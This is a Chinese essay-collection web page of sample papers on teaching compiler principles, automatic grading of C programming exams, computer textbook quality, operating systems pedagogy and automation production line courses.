HI,欢迎来到学术之家股权代码  102064
0
首页 精品范文 编译原理论文

编译原理论文

时间:2022-05-08 04:03:39

开篇:写作不仅是一种记录,更是一种创造,它让我们能够捕捉那些稍纵即逝的灵感,将它们永久地定格在纸上。下面是小编精心整理的12篇编译原理论文,希望这些内容能成为您创作过程中的良师益友,陪伴您不断探索和进步。

编译原理论文

第1篇

关键词:编译原理,教学内容,实验教学

 

1教学内容的选取

针对我校刚升本的一般本科院校,教材采用[2],教学内容的选取应强调对编译原理和技术的宏观理解及全局把握,而不要把学生的注意力分散到一些细节的算法上,在讲述各章的理论的同时要有一些C语言小程序作为例题或习题。免费论文参考网。结合编译的各个阶段,对教学内容的选取如下:

1.1词法分析

本部分主要以正规式、NFA(不确定的有限自动机)、DFA(确定的有限自动机)及其最小化为主线来讲解,同时对词法分析器进行介绍,演示用C语言写的一个简单语言的词法分析器,并要求学生上机实现。

1.2语法分析

这一部分中,上下文无关文法是必备基础知识。语法分析包括自上而下与自下而上的语法分析二种。自上而下的语法分析包括二种:LL文法和递归下降分析方法,这两种方法比较简单进行可进行详细介绍,用一个简单语言的递归下降分析程序作为例子进行讲解效果更佳。自下而上的语法分析出包括二种:算符优先与LR分析方法,由于目前编译器的语法分析中已不再采用算符优先方法,因些可只作简单的介绍就可以了。LR分析方法是比较重要的语法分析方法,但由于SLR分析、规范LR分析和向前看LR分析非常复杂,讲解时需要占用较多的课时,不介绍这几种LR分析表的生成算法可直接介绍LR分析表的使用较好。因此,在介绍自下而上分析的一般概念和使用LR分析表进行移进归约分析后,可以直接介绍分析器的自动生成器,并介绍归约时的语义动作,为下面阶段语义工作的描述奠定基础。

1.3语义分析和中间代码的产生

静态语义检查通常包括:类型检查、控制流检查、一致性检查、相关名字检查,重点应放在类型检查上,类型系统在编程语言的设计中占据重要位置,讲解时先介绍类型系统在编程语言中的作用,然后用语义动作来表达类型检查算法。

中间代码生成主要介绍各种形式的中间语言,把赋值语句和各种控制流语句翻译成中间代码的语义动作。对于类型和变量声明语句,重点关注怎样按语言的作用域规则组织符号表。符号表中符号的插入和查找方法在数据结构中已经阐述过,只需稍作提及就可以了。

1.4属性文法与语法制导翻译

语法制导的定义和语法制导的翻译方案是描述编程语言翻译的两种常用形式方法。它们描述严格并便于理解,因此大部分有一定深度的教材都用它们来描述静态语义检查和中间代码生成等。这一部分内容较难,简单加以介绍,让学生有所了解即可。

1.5运行时存储空间的组织和管理

这是最需要搞明白部分。尤其在用C这样比较低级的语言时,掌握这部分内容对编写程序和程序排错都很有帮助。具体应该介绍局部存储分配策略(即一个活动记录中各类数据的组织),静态分配、栈式分配和堆式分配等三种全局存储分配策略,非局部名字的访问方式和各种参数传递方式的实现。

1.6代码生成

选择一种采用简单的寄存器分配策略的代码生成算法加以介绍,让学生对代码生成有所了解即可。

1.7代码优化

用实例来介绍各类优化,让学生明白编译器能完成哪些优化,而不要给学生介绍各种优化算法。这对编程有用处,例如,在可读性好的源代码和优化的源代码两者之间做选择时,若知道那些优化可以由优化编译完成,则宁可选择可读性好的代码。

2.实验内容的选取

设计一组适宜实验内容:首先,要将编译理论和方法在实验中得以概括,使学生不仅掌握它们本身具体应用,而且掌握由这些理论和方法所构造编译程序的各个部件是如何在整个系统中协调运行,这是实验最重要目的之一。其次,必须合理地简化,使学生比较容易完成。针对编译原理课程的特点及要求,共设置了五个实验项目。这组实验既和理论课内容相辅相承,同时相互之间又互相关联,构成了一个实验整体。

实验一:消去C、C++程序中的注释(2学时,必做)实验目的: 掌握C语言文件的基本操作,消除源C语言程序中的注释,为以后的编译提供方便。实验要求:对给定的带注释的C语言源程序,利用该程序去掉注释,输出去除注释的源程序。

实验二:词法分析(必做,4学时)目的:通过设计编制调试一个具体的词法分析程序,加深对词法分析原理的理解。免费论文参考网。并掌握在对程序设计语言源程序进行扫描过程中将其分解为各类单词的词法分析方法。要求:编写程序对输入的源程序字符串进行词法分析,对符合下述文法描述的字符串,建立单词符号表,不符合的字符串给出错误信息。

实验三:递归下降分析法(4学时,选做)目的:根据给定的文法编制调试递归下降分析程序,以便对任意输入的符号串进行分析。本次实验的目的主要是加深对递归下降分析法的理解。要求:对给定的文法,利用递归下降分析法对任意输入的符号串进行分析语法分析,对符合下述文法描述的字符串(表达式或赋值语句),给出中间代码,不符合的字符串给出错误信息

实验四:语法分析程序LL(4学时,必做)目的:通过该实验使学生掌握描述语法规则的文法,以及加深对语法分析中自顶向下分析法中的预测分析法的理解。免费论文参考网。要求:对给定的文法建立预测分析表,利用预分析法对实验一中词法分析产生的符号进行语法分析,对符合下述文法描述的字符串(表达式或赋值语句),给出中间代码,不符合的字符串给出错误信息。

内容:用扩充的BNF表示(同实验三)。

实验五:语法分析程序LR(4学时,必做)目的:通过该实验使学生加深对语法分析中自下而上分析法中的LR分析法的理解。要求:对给定的文法手工建立LR分析表;利用LR分析法对实验二中词法分析产生的符号进行语法分析,对符合实验中文法描述的字符串(表达式或赋值语句)给出中间代码;不符合的字符串给出错误信息。内容:用扩充的BNF表示(同实验三)

3.小结

编译原理课程在计算机课程体系中的重要地位,决定了其课程建设和改革的长期性,对培养计算机专业的人才也有着重要的作用,探索该课程的教学方法,提高教学质量是从事计算机教育工作者的必须重视的问题,也是一个永远值得探讨的问题,我们根据我系的实际情况合理的运用现代手段,综合考虑多种因素,将该课程的教学改革推向更科学的发展道路。

【参考文献】

[1]张昱,陈意云,郭宇,李兆鹏. “编译原理”课程的教学内容选择的探讨. Computer Education,vol18,no 4,2009.

[2]程序设计语言编译原理(第三版)[M].陈火旺,刘春林等.国防工业出版社2008.9.

第2篇

关键词:自动评分,编译原理,静态检查

 

0引言

目前,国内外已有很多有关计算机语言类课程的考试软件,它们大多已能很好地完成对常见客观试题的自动评阅工作,但是对于一些主观性很强的题目,尤其是程序设计题,还没有很好的解决方案。其中主要采用的是结果评分法,即只依据程序运行结果给出相应分数,而并不查看考生程序内容。在这种评分机制下,程序中一个小小的错误就将导致一个几近正确的程序无法运行,从而因无运行结果,考生将丢失全部分数。这与传统人工阅卷中的评分原则是不相一致的,评分结果也并不能反应出考生的真实水平。本文以常见的C语言课程为例,对C语言程序设计题的自动评分方法进行了研究,在比较结果的评分方法基础上,设计了动态评阅与静态评阅相结合的方法,评分结果更加公正、准确。

1指导思想

经过大量分析与研究,我们设计了动态评阅和静态评阅相结合的方法实现对程序设计题的评分。具体步骤如下:

(1)结果对比。检查考生程序的结果文件,若与标准答案文件中的结果一致,则可得满分。若不完全一致,可依据正确输出数据的数量以予一定比例的得分。

(2)动态评阅。对于无结果的考生程序,我们可在系统控制下对其进行模拟运行以获取运行结果。对有语法错误的考生程序,可以通过词法分析和语法分析程序找出错误,同时设计改错算法尽最大可能改正考生程序中的错误,最终使程序得以运行并保留错误信息。若考生程序经评改、运行,获取了正确结果,则可依据错误信息从总分中扣除相应的分数。若仍无法运行或结果不正确,则采用静态评阅。

(3)静态评阅。所谓静态评阅,是指通过对考生程序中语句的静态检查获取评阅信息。系统事先在程序设计题的题库文件中根据考试题目设置有多条关键语句,评分时,通过检测考生程序中关键语句的数量可判断其逻辑合理性,给出相应分值。

尽管上述评分方法,仍不可能做到像人工阅卷一样实现真正的按步骤评分,但相对于以往只按结果评定成绩的评分方法,相信该系统还是有积极意义的。由于考试题都是较小的程序,评分可以做到较大程度的准确。

3解决方案

程序设计题的评分最为复杂,在确定了程序设计题评分目标后,着重从以下四个方面进行了考虑:

(1)通过运行结果判定程序功能是否实现

我们要判断一个程序是否正确,就是要看其是否完成了要求的功能,即程序的运行结果是否与实际应有的结果相符。C程序的运行结果是可以通过数据文件保存起来的,因而只要我们合理设计考题源程序中的部分内容,即在程序中指定程序结果的存储文件,则在考生答题结束后,我们即可依据该结果文件中的内容是否与标准答案相符来判定考生程序的正误。标准答案文件可在抽取试题时同时生成。

(2)采用“以程序改程序”的方法对错误的考生程序进行评改,使其趋于正确

C语言源程序文件是扩展名为.C的文本文件,可被作为普通文本文件一样进行读写处理。一个没有运行结果的程序不外乎两种情况,或是有语法错误,或为死循环。针对前者,我们可以采用词法分析及语法分析方法进行处理。词法分析和语法分析任务有两个,一是找错,即要尽可能地找出程序中的词法及语法错误,生成错误文件;二是改错,要将发现的每一处错误尽最大可能修改正确,以便程序得以运行。编译原理讲述了开发高级语言编译器的一整套原理和方法,我们可以借鉴这些原理和方法,结合C语言自身的特点设计出详实的改错算法。

(3)在程序中编译运行修改后的考生程序

编译器的设计是相当复杂而繁重的工作,由少数人在短期内去开发一个全新的编译器是不现实也是不可能的。Turbo C提供有行编译命令TCC.EXE,其使用方法类似于一般的DOS命令,可以将C程序直接编译为目标代码和可执行程序。据此,评分程序可在Visual Basic中借助Shell函数调用TCC命令程序,从而对考生程序进行编译。通过检查编译结果即可执行文件是否生成,可判定考生程序是否正确。可执行文件为.EXE文件,可作为外部程序被其它程序所调用。若可执行文件生成正确,可再通过Shell函数调用可执行文件使考生程序得以运行。

(4)用API函数防止系统崩溃

如果考生程序为一个死循环程序,被 Shell启动后将使系统陷入崩溃。Windows提供有很多控制应用程序运行的API函数。论文参考。为防止此种情况发生,可利用VisualBasic调用相应的API函数来处理。

(5)通过合理设计关键语句,检验考生程序的逻辑准确性

对于运行结果不正确,或经过评改仍无法运行的程序及死循环的程序,如何评阅以给出较合理的分数呢?这个问题其实就是要检验程序的逻辑合理性。一个可用多种方法编制的程序,由于其功能是确定的,因而其所采用的基本算法应是一致的。如求1至100的和,则不论用哪种循环语句,其基本算法都应是累加求和。考虑在给出的考生源程序中,可事先设定好存放结果的变量,并对程序中其它变量的命名加以适当规定,如循环变量必须使用i、j、k等。经过这样的设计,使得试题程序中存在有部分确定的关键语句。在编程题的题库文件中,我们可事先存放好正确的关键语句,评分时通过查找考生程序中这些关键语句的数量,即可给出相应的较合理的分数。

由于本系统主要用于对在校学生C语言基础应用能力的考核,要求考生编制的源程序均不是很复杂,因此经过上述一系列的评改方法,本系统对考生程序是能够给出一个较合理的考试分数的。与以往以结果论成败的评分方法相比,本系统给出的评阅结果将更加接近于人工阅卷的结果。

4 系统设计

(1)功能结构分析

对程序设计题进行自动评卷较为复杂,主要包括两个方面:一是要检验结果的正确性,二是要检测程序的语法和逻辑是否符合要求。程序设计题阅卷评分系统的功能结构图如图1所示。

图1 程序设计题评分系统功能结构图

(2)评阅流程设计

经过对C程序结构的透彻分析与研究,对程序设计题的评阅主要采用结果对比、静态评阅与动态评阅相结合的方法,具体步骤如下:

1)结果对比

检查指定的结果文件是否存在,若存在则与标准答案文件进行对比。与标准答案文件内容完全相同,则说明结果正确,得满分,否则转去静态评阅。若无结果文件,执行动态评阅。

2)动态评阅

①对考生源程序进行编译连接,若生成可执行文件成功,则运行考生程序并进行结果检查,若生成失败,说明考生程序存在语法错误,转入以下过程继续处理。

②对考生源程序进行词法分析。扫描源程序,将其转化为特定格式的TOKEN串,存入TOKEN文件。

③根据词法分析的结果,即TOKEN文件,进行语法分析。论文参考。详细指出程序中存在的语法错误,生成错误文件,在保证不对考生程序正确部分产生破坏的前提下,尽最大可能将考生程序修改正确,生成修改后的TOKEN文件。

④调用转换程序将修改后的TOKEN文件重新生成为C语言源程序,其与考生源程序不同名,称其为新生源程序。

⑤调用TCC程序以命令行方式对新生源程序进行编译连接。论文参考。

⑥编译连接成功,运行新生源程序的执行文件,并调用API函数控制程序运行, 以防由于死锁的发生导致系统崩溃;编译失败则退出动态评阅过程,改用静态评阅。

⑦对新生源程序的运行结果进行检测,若有结果,则转去进行结果比较,若无结果则转去进行静态评阅。

3)静态评阅

从程序设计题题库文件中读取该试题的关键语句,对考生程序进行检测。根据检测出的考生程序中的关键语句的条数判断程序的逻辑合理性,给出相应分值。

5 结论

本文提出了一种较新的C语言程序设计题的自动评分方法,对其进行了系统的研究与设计。通过运用编译原理的理论编写相应的评改算法,可实现对C语言程序设计题的自动评分,此种方法已经过代码设计初步实现,经测试,评分结果更加人性化,更加接近于人工阅卷的结果。此种评分方法对于如C++、JAVA等程序的自动评分方法的设计,具有一定的参考价值。

参考文献:

[1] 段汉周,凌捷,郑衍衡. Visual Basic程序设计考核自动评阅系统中若干问题的研究. 计算机工程,2001,27(4)

[2] 李丁. 计算机考试系统中自动评分策略的研究与实现.计算机与现代化,2002(9):8

[3]王春霞. 自动阅卷系统的开发. 盐城工学院学报,2002,15(1)

[4] 何涛. 自动化考试系统设计与开发:[学位论文]. 吉林大学

第3篇

巨大的市场需求推动了计算机教材的繁荣,各大出版社或引进或组织教师编写,各种计算机教材陆续走进了课堂。

供需两旺,市场繁荣,好像局势一片大好。然而,这欣欣向荣的表象之下,真的是“局势一片大好吗”?

计算机类教材的隐忧

1.题材撞车与“自留地”现象

有谁能说出全国一共出了多少种《C程序设计》教材?有谁能说出全国出了多少种《编译原理》教材?还有《数据结构》、《微机原理》、《软件工程》、《离散数学》……几乎所有的计算机专业骨干课程,都可以列出长长的一个书单。而这些教材,几乎都是一个模子里出来的,从目录上看,内容差不多,甚至连写作的语言也让人“眼熟”。

很明显,教材的写作似乎已进入“工业化大生产”阶段,教材成了“教材生产流水线”上的产品。

然而我怀疑,这样的生产流水线能出得了堪称精品的教材?

教材内容雷同的现状,催生了各个院校在教材选用上的“自留地”现象,即选教材时优先选用本校教师写的教材。因为大部分的教材内容大同小异,那为什么不用自己的?作出这个决定省时省力,而且可以说出一连串“合情合理”的原因。

但教材选用上的“自留地”现象,客观上却为推广优秀教材带来了阻碍。

2.面孔严肃,拒人千里

我的一个朋友有句名言:“书非K不能读也!”他的意思是,学习教材的过程是非常痛苦的,要经历一个“死去活来”的过程,才能最终琢磨出味道来。

在我看来,这实在太确切了。

我们太多的教材,老板着个脸,文字乏味枯燥,拒人于千里之外。在这方面,最典型的是理论性本身就很强的教材。比如《离散数学》教材,大多数都充满了大量的抽象的概念与定理,并夹杂着大段大段枯燥的形式化推导与证明,如果有人告诉我这样的书他读得“很享受”,那他不是一个“数学天才”就是在说反话。

我手头有一本北京某著名大学的老师编写的《离散数学教程》,写作风格比较简洁,但太简洁时就增大了阅读的难度,薄薄的几页有时就得耗去读者数个小时。刚好手头还有另一本机械工业出版社引进的《离散数学及应用》(《Discrete Mathematics and Its Applications》,Kenneth H.Rosen著),就显得平易近人多了。论厚度,这本是那位老师写的书的1.5倍左右,但相比之下,我还是宁愿抱着台电脑用“金山词霸”去啃这厚厚的“英文砖头书”。

这位著名学府的老师她本人无疑具有很高的数学水平,而这本教材,我想可能是针对该校基础很好的本科生编写的,对于像我一样数学水平有限的普通读者选它来学习,无疑是个错误。

国内国外同类教材对比,我不由得产生以下疑问:

为什么国内作者在写作时不能多举些例子,不能多一些通俗的解释?为什么国内作者如此惜墨如金,能不能在书中多写几段话,点明这些理论的实践意义?为什么国内的作者不能在教材中对最重要的知识点给出“画龙点睛”式的强调,以帮助读者去把握这一领域的脉络?

我衷心希望国内作者在写教材时多从读者的角度去想想,不要对读者已掌握的知识与技能作太多的假设!

真正有成就的人,比如许多大科学家,都说他们之所以取得一定的成就,都是因为他们对各自的领域有着强烈的兴趣,著名数学家陈省身就说过他是在“玩”数学。能把如此抽象的学科看成玩具,难怪陈先生能成为一代数学大家!

那对科学的兴趣从何而来?

现在的家长和教师,从小学到大学,无不为孩子沉迷于网络游戏而发愁。为什么这么多的学生会喜欢上网络游戏?很简单,因为网络游戏有趣,好玩,让他们有成就感,可以让他们逃避令他们感到痛苦的学校学习生涯。

为什么学生认为学习是件苦差事?他们天天要啃的教材是这样一副冷冰冰的模样,有哪个学生会喜欢?这是非常自然的事情。

当然,无论怎样编写,教材是无法做到像游戏一样引人入胜的,但教材的编写者完全应该想办法让学生的学习多一点乐趣,少一点痛苦!

当前大多数教材读起来毫无乐趣可言,这点无庸多说,每个过来人都有体会。

3.在写教材还是在写论文

教材的写作风格与论文有很大不同,然而,真有一些教材是以“论文笔法”来写的。

论文有特定的写作方法,高水平的论文可能会用高深的数学语言来表述,比如爱因斯坦最初的有关狭义相对论的论文,据说当时全世界科学家中能看懂的没几个,不为大众所理解,并不影响论文本身的水平。

然而把这种“论文笔法”用到教材上,那就走入了误区。教材的主要目的是传播知识,而不是向世界宣告您又发现了什么新理论。如何让读者能更快地汲取书中的营养,这是教材编写者必须考虑的问题。

除此之外,还有更严重的问题。

当今中国高校非常强调论文的发表数量,太多的人为发论文而忙碌。为了,出现了一种很不好的论文写作风格,笔者称之为“浅入深出”。作者自己并未作太多的研究,也没有多少真正的成果,为了论文更易于发表,必须人为地加大论文的阅读难度,比如某个问题其实可以用几句大白话就讲清楚的,却一定要绕个大弯子,加上N多数学公式……别人看不懂,呵呵,那是你水平不够!大批这样的论文中不乏“南郭先生”。

由于教材也是晋升高一级职称审批的指标之一,就有人为此目的而拼凑教材,自然而然地将拼凑论文的套路用到了教材编写上,习惯成自然嘛。对这种“新鲜出炉”的教材,只能用一个词来形容――“误人子弟”!

4.从理论到理论的“空对空导弹”

计算机科学本质上是一门实践性非常强的科学,正是实践在推动计算机科学与技术的不断进步,许多的计算机理论都可以找到它的实践基础。

拿《编译原理》来说,其中介绍到的许多理论与方法在软件开发中应用是很广的:复杂的软件如一个编译器,简单的程序如一个计算器;大规模的软件如现代软件集成开发环境,小的软件如某个MIS系统中四则运算公式的解析模块,都可看到编译理论的巨大威力。

然而,太多的编译教材只重理论不重应用,讲了一大堆的文法和自动机理论,嗦嗦地详细介绍各种分析方法,却都是“纸上谈兵”,从理论到理论,难怪有这么多的学生困惑不已:我为什么要花这么多的时间去学这么难的课程?它有什么用?难道仅为了考试?

知识的获取与掌握是有其客观规律的,一般而言,具体的知识易于理解,而抽象的知识则难于把握,在学习过程中,应遵循“具体抽象具体……”这样一个无限循环的过程。

如果某人对一门学科所知不多,却指望他能通过理论学习迅速地把握这门学科,这违反了人类认识世界的客观规律。

因此,从认识论角度出发,教材的编写是不能从理论到理论的。必须先从实例引入,再介绍理论。教材应尽可能地展现出人类在探索某个问题时所经历的具体过程,理清其来龙去脉,阐明知识之间的内在联系,从而帮助学生在学习过程中循序渐进地建立起一个相对完整的知识体系。

改进之路

那么,应该如何写出一本好的教材呢?

1.作者要有责任心

教材的作者,绝大部分都是教师。要牢记教师的职责:传道、授业、解惑。我们身上是有责任的,误人子弟,则罪莫大焉!

这就要求作者厚积薄发,尽可能不要出于功利性目的(比如升职称)而写教材。当然,现实中功利性因素是不可避免的,只能要求作者既然要决定写,就要尽可能地写好。

我强烈反对没有任何实际开发经验与教学经验的人来写计算机类教材。孙子有语:不知彼不知已,每战必败。这样的人既对计算机技术不熟,又不了解学生的真实情况,怎可能写出好教材?

另一个对作者的要求是与时俱进。计算机理论与技术的发展太快了,因此一本好教材应及时补充新内容。在这点上,国外的许多经典教材做得很好。比如我前面提到过的《离散数学及应用》,我手头上的已是第5版。还有一个例子,比如著名的Deitel父子写的《Java How To Program》(《Java大学教程》),几乎做到了Java每出一个新版本,相应地他们也会跟着更新书中的内容,出一个新版。

第三个对作者的要求是能与读者互动。在互联网大普及的时代,网络是获取读者反馈信息最便捷的手段。国外的著名教材,几乎每本都有一个网站提供各种的附加资源,并给读者答疑解惑。对于国内的作者而言,要求每本教材都建立一个独立的网站是不切实际的,但最起码作者应该留一个电子邮件地址。目前Blog非常红火,许多博客网站都提供免费的Blog服务,笔者认为这是一个很好的作者与读者互动的平台。

2.弄清楚教材是给谁看的

教材与理论专著不同,教材是学生学习的依据,其目的是更快更好地将知识传授给学生,因此,应从学生角度而非教师角度编写教材,要让学生“便于学”,而不是教师“便于教”(当然最好两者兼顾,不能兼顾则学生优先)。

我看到许多的教材都是“教师编给教师看的”,而不是“教师编给学生看的”,这种教材如果没有老师教,学生几乎无法自学。

比如看到某教材有“教师手册”与“学生课本”之分,或者有“正式课本”与“辅导材料”之分时,我觉得这是一种“一切以教师为中心”的教学思想的反映。其本质在于教师要比学生垄断更多的资料,以便树立教师的“权威”,而学生只能在教师的讲授与指导下学习。有这个必要吗?这种方式,我怎么看都有点“武大郎开店”的嫌疑。

在现在这个信息爆炸的时代,重要的是培养学生的自学能力,怎能让学生离了教师就不会学习了?

另外,按“便于学生自学”的方式编写教材,其实反过来也有助于教师(特别是新教师)深入理解教材,从而把教学工作做得更好,真正做到“教学相长”。

3.深入浅出才是好教材

一本适合于学生自学的教材,一定要做到深入浅出。这是很不容易的。其前提是作者要有深厚的积累,才能“用普通话讲抽象的理论,用大白话讲复杂的技术”。我个人发觉,如果做到八个字,教材的可读性就可大大增强。这八个字是:善用比喻,实例为王!

一个好例子,胜过千言万语。例子在帮助学生掌握知识方面的作用是无法估量的,尤其是针对理论性强的课程。

举个例子,《数据库原理》往往要讲到数据库范式,理论讲得太多,不如举一个学生都非常熟悉的网上选课系统,详细分析将学生信息与课程信息分布到数据库表中的不同方案,比较每个方案的优缺点,进而自然地引出范式的概念,并让学生能直观地理解如何在数据库中应用范式去解决数据完整性、冗余性等在实践中遇到的问题。

另一个方面,计算机科学理论与技术中都涉及到大量抽象的概念,教材在向学生介绍概念的内涵时,既要注重科学性与严谨性,更要注重通俗性。

在这方面,比喻这一修辞手法大有用武之地。

比如,介绍C++课程中的名字空间(namespace)概念时,将“类”比做书,将“名字空间”比作图书馆或书架,则学生很快就能明白这一抽象概念的含义。

还有《数据结构》中的堆栈,可以将其比喻成羽毛球筒,其特点是每次只能从开口处塞入和取出一个羽毛球。

《软件工程》中介绍软件项目的迭代开发原则时,可以用“滚雪球”来类比软件项目的进化过程。

其实汉语有着丰富的表现力,看看过去和现在各个文学家的著作,难道我们的教材编写者不能从这些地方汲取营养,把教材写得尽可能地“好看些”?

4.授人与鱼,不如授人与渔

“授人与鱼,不如授人与渔。”

传颂千古的名言,蕴含着深刻的道理。

计算机科学的每个领域,其实都有一些最重要最基本的思维方法。在教材中,应致力于将这些非常重要的思维方法以直观的形式突显出来,引导学生先去认识这种思维方法,再让他们去尝试应用这种思维方法,最终能活用这种思维方法。

因此,好的教材,应该让学生能领会不同领域具有不同特点的思维方法,而不是仅仅只关注一些具体知识的传授。

比如,学数学就要让学生知道怎样从特殊到普遍,从已知推未知,知道怎样从假想开始再以科学的推理方法去证明假想的对错,掌握从大量的数据中去找出其中蕴含着的特定的数学规律的方法……

学编程就要让学生知道针对某个问题,应怎样去设计一个解决方案;在具体开发中,面对着技术难点,用什么方法去攻克它;理解为什么在编码过程中,要高度注意编码的规范性;知道如何将软件工程的相关理论渗透到具体开发实践中……

只有具有这样特点的教材,才能使学生掌握做事的方法,并使他们的思想深刻起来,成为一个有着独立思维能力的人。

我想,作者如能作到以上几点,写出的教材其质量应是不差的。

写出特色来――我的教材编写实践

作为一名高校的一线教师,我既热爱教学工作,又喜欢钻研软件技术。

在工作中,我一直都在琢磨着有关计算机教育方面的一些问题。本文前面的一些观点就是我在教学实践中逐渐总结的。

但这些观点是否正确,是否可行,这只能由实践来说话。我决定编写一本教材,全面地尝试我在上面所提到的各种观点。

从2004年11月到2005年7月,我用了9个月的时间写了一本不像教材的教材:《编程的奥秘――.NET软件技术学习与实践》,这本教材与传统教材的模样有很大的不同。

这本书的基本原型是我在北京理工大学开设的“.NET软件开发技术基础”选修课教案,该课程得到了微软公司2005年“微软高校精品课程支持计划”的资助,教材于2006年1月由电子工业出版社出版。

在写作过程中,我想得最多的就是如何走出一条教材编写的新路子,探索一些新的教材编写方法,一句话――写出自己的特色来!

书出版以后,我在自己的Blog上(/bitfan)建立了一个读者作者交流区,自己的邮箱也陆陆续续地收到不少读者邮件。

在我收到的读者反馈信息中,大都对这本书给予了充分的肯定。而这些读者中,绝大多数是在校的大学生,由于书价较贵,有读者来信说他省了半个月的饭钱才买下这本书,还有的读者在书店“站读”数个小时……令我非常感动。

第4篇

Key words: practice;OS;integration

中图分类号:G42 文献标识码:A 文章编号:1006-4311(2013)08-0216-02

0 引言

《操作系统》作为计算机及相关专业必修课程,将学生在一、二年级学到的知识和技能进行综合并予以提升,帮助学生完善专业基础理论体系,培养学生对计算机软硬件系统结构进行系统、完整、深入的思考。该课程在教育部历次教学改革和教学计划调整中都不断得到加强。

任何一门课程,要对其有比较深刻的内涵理解的前提是对其内容的精确提炼,而不仅仅是简单的以章节形式进行的罗列和叠加。笔者在多年从事该课程研究的基础上,对操作系统的一些教学方法方面有一些比较成熟的看法,特提出以供大家商榷。

1 操作系统课程的精髓教学框架

对本课程的全部教学内容所提炼并加以有机整合而形成的精髓教学框架:

1.1 系统发展历史的回顾与当前技术发展潮流追踪许多学校的计算机专业在讲解操作系统课程时,往往局限于介绍具体方法和技术细节,忽略对技术发展历史和当前技术潮流的诠释。既不能开拓学生专业视野,又无法对专业历史有深入的了解。本门课程争取使用3-4学时的时间详细讲解操作系统的发展历史、著名人物、分类体系和技术发展趋势。这样的内容极大的激发了学生的学习兴趣和专业使命感,具有很好的教学效果。

1.2 作系统基本设计原理与核心技术方法的分析讲解 本门课程注重对基础专业理论的讲解,从五个方面详细剖析操作系统的核心原理。对进程管理、存储管理、文件系统、设备管理、系统接口等基本的设计原理均进行了详细的介绍和分析。

操作系统的各种基本设计原理中包含了大量的算法设计与技术实现优化考虑,在教学过程中,要特别注重剖析算法设计思想和优化方法的差别,强调激发学生的主动思考能力,而不是僵化的向学生灌输思想。

1.3 真实操作系统案例的组成结构与实现特色剖析对比 操作系统的设计原理体系严密,各种技术方法错综复杂。要注重选用真实操作系统作为学习的案例。通过对真实案例的剖析以提高学生的感性认识。

1.4 操作系统原理与计算机原理、编译原理、数据库、计算机网络等课程的关联 《操作系统原理》课程是计算机及相关专业的学生在本科阶段“承上启下”的重要课程,讲授过程中必须注重与其他专业基础课内容和知识的结合。要专门讲解“操作系统硬件基础知识”以融合《计算机原理》课程知识;重点分析“应用程序编译链接过程”以融合《编译原理》课程知识;在“进程同步互斥、I/O设备同步阻塞-异步传输”的内容中有机融合《数据库原理》、《计算机网络》的基本概念。这样的关联式教学方式使得学生能够将多门专业基础课程进行有机的融合贯通,有效的促进了专业理论体系的完善。

2 选择科学合理的教学方式

基于以上对教学内容的有机的系列化分类,在选用优秀计算机经典教材的基础上,必须强调教学方式的科学与合理,主要采用以下教学方式:

2.1 定位于专业基础必修课,帮助学生建立扎实的专业理论基础 计算机领域各相关专业的学生都需要建立扎实完整的软件基础理论体系。《操作系统原理》是讲述计算机硬件资源管理、应用程序运行控制、人机交互接口实现等内容的基础性课程,在专业人才培养方面具有极为重要的作用。应该不断加强对《操作系统原理》课程的教学投入,积极完善师资队伍、改进教学计划、建立完整实践环境、主动追踪技术发展潮流,使得本门课程的教学质量不断提升。

2.2 面向应用、软件等各专业学生授课,实现“承上启下”的总体教学目标 《操作系统原理》是计算机科学与技术专业必修基础课,是自动化专业的专业选修课,也是非计算机专业的软件方向主干课。在教学计划中,本门课程最主要的作用就是实现对低年级专业基础知识的综合与提升,帮助学生建立系统、完整的专业基础理论体系,培养学生的研究型思维和动手实践能力,开拓学生的专业学术视野,为后续课程的学习和专业发展奠定重要的基础。

2.3 原理、实践、现实应用相结合,为培养高水平专业人才服务 《操作系统原理》是综合了基础理论讲授、动手实践、观察体验、最新技术发展潮流追踪等多项内容的专业基础课程。课程建设存在教学工作量大、上机实践环节重要、学生学习任务重等特点,课程教学过程中,常常存在原理讲授与上机实践脱节、课堂学习与现实应用剥离的情况,导致老师在教学过程中常采用“灌输式”教学方法、学生在学习过程中常采用“机械记忆”的学习习惯,教学质量难以提升。

为此,在《操作系统原理》课程建设中应该积极进行教学改革和创新,近年来不断引进国内外经典操作系统教材,努力搭建多种操作系统平台的上机实践环境,加强师资队伍建设和教学督导力度,加强对技术发展潮流的追踪。

2.4 “启发式、关联式”的课堂讲授与课堂讨论相结合在对基础性的操作系统原理进行讲解时,要注重讲授与讨论的结合,教案的内容组织并不完全遵循各类教材的内容安排,在讲解顺序、思路整理方面均体现了教师对学习过程的把握和指导。在详细讲解各类原理之前,安排小规模“课堂讨论”分析猜测设计思想,激发学生的好奇心和主动思考能力;在讲解原理的过程中,不断的问“为什么”,提高学生的对比分析能力;在原理讲解完成后,进行系统性的总结和展望,指导学生建立系统性的思维方式。

为激发课堂讨论的积极性,对讨论过程中表现优异的学生给予“小额加分”的激励,鼓励学生表达自己观点。

第5篇

关键词:自动化生产线;教学方法;电机与电气控制;PLC;课程设计

中图分类号:G712文献标识码:B文章编号:1006-5962(2013)02-0027-02

高职机电一体化专业课程设置的培养目标是:面向工业企业生产现场,电气控制系统制造公司、机电设备制造公司、机电设备、电气设备、工控设备制造公司或公司、科技开发公司,培养适应社会需要,全面发展,适应本专业相对应职业岗位的高等技术应用性专门人才,主要岗位群定位是自动化设备安装员、自动化设备调试员、中高级维修电工等,本专业有五个主干学科:电气工程、电子工程、机械工程、计算机科学与技术、控制科学与工程,都是为了岗位需要设置的专业知识。其中《自动化生产线安装与调试》作为一门核心专业课在第四学期进行了贯穿和综合。

1自动化生产线的课程设置

机电一体化专业人才培养能力有:识图绘图能力、机电安装调试维修能力、电控系统调试检修能力、自动线调试维护能力、机电设备管理能力及机电产品营销能力等。《自动化生产线安装与调试》前序课程有PLC技术、传感器技术、电机与控制,后序课程有机床维修等。在我们所要实现的教学目标中知识目标涉及到:机械手工作原理、握机械手控制原理、机械手气动原理、熟悉安全操作规程;能力目标有:对已安装的机械手机械部件进行测量;对机械手的气路进行基本调试;根据故障现象判断故障部位;检查分析、找到故障点并分析解决故障;遵守安全操作规程;素质目标有严谨的职业态度、规范的操作习惯、创新精神、团结协作精神、自主学习精神及沟通能力。

